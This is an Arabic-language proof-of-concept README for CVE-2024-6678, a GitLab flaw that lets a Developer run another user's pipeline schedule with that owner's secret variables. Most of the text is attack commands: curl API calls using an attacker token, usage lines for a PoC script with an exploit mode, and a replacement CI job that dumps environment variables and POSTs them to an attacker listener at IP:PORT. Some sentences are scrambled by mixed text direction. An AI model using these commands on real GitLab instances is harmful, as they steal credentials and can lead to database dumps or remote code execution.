
PoC لـ CVE-2024-6678
PoC لـ CVE-2024-6678
يتيح GitLab للمستخدمين تشغيل جداول خطوط CI/CD (Pipeline Schedules) يدويًا عبر زر "Play". تكمن الثغرة في أن وظيفة "play" تسمح لأي مستخدم لديه صلاحيات Developer (وليس فقط مالك الجدول) بتشغيل الجدول. وينتج عن ذلك نتيجتان:
مع ذلك، يعتمد التأثير النهائي على ما هو مخزّن في متغيرات الجدول. على سبيل المثال، المتغير DB_PASSWORD يتيح إمكانية تفريغ قاعدة البيانات بالكامل، بينما SSH_PRIVATE_KEY يتيح الحصول على RCE.
develop، staging) — أو وجود جداول في المشروع بصيغة ref قصيرة (bypass)هام: الجداول على الفروع المحمية (مثل
refs/heads/mainمع تفعيل الحماية) يتم حظرها بواسطة سياسةPipelineSchedulePolicy#protected_refوتعيد HTTP 403. يعمل الهجوم على الفروع غير المحمية — حيث غالبًا ما تُنشأ جداول التكامل ومرحلة الاختبار مع بيانات اعتماد حقيقية.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
ابحث عن جدول يخص مستخدمًا ذا صلاحيات أعلى (Maintainer/Owner).
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
الاستجابة المتوقعة: HTTP 201 — تمت إضافة خط الأنابيب إلى قائمة الانتظار.
يتم إنشاء خط الأنابيب باسم المهاجم (current_user)، ولكن مع جميع متغيرات الجدول (التي قد تشمل مفاتيح API، رموزًا، بيانات اعتماد تم تكوينها بواسطة المالك).
HTTP 500 "Unable to schedule pipeline run immediately" — سلوك متوقع. هذا هو إلغاء التكرار في Sidekiq (
deduplicate :until_executed): مهمة هذا الجدول موجودة بالفعل في قائمة الانتظار من عملية تشغيل سابقة ناجحة. وهذا يعني أن الهجوم قد تم بالفعل والمهمة تنتظر التنفيذ.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# تشغيل أساسي: اختيار تلقائي للجدول
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# تحديد جدول معين
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# عبر GraphQL (يتطلب --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# التحقق من تجاوز legacy-ref
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
قبل trigger، يقوم PoC باستبدال .gitlab-ci.yml في develop بـ: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
كل هذا يصل إلى المستمع الخاص بك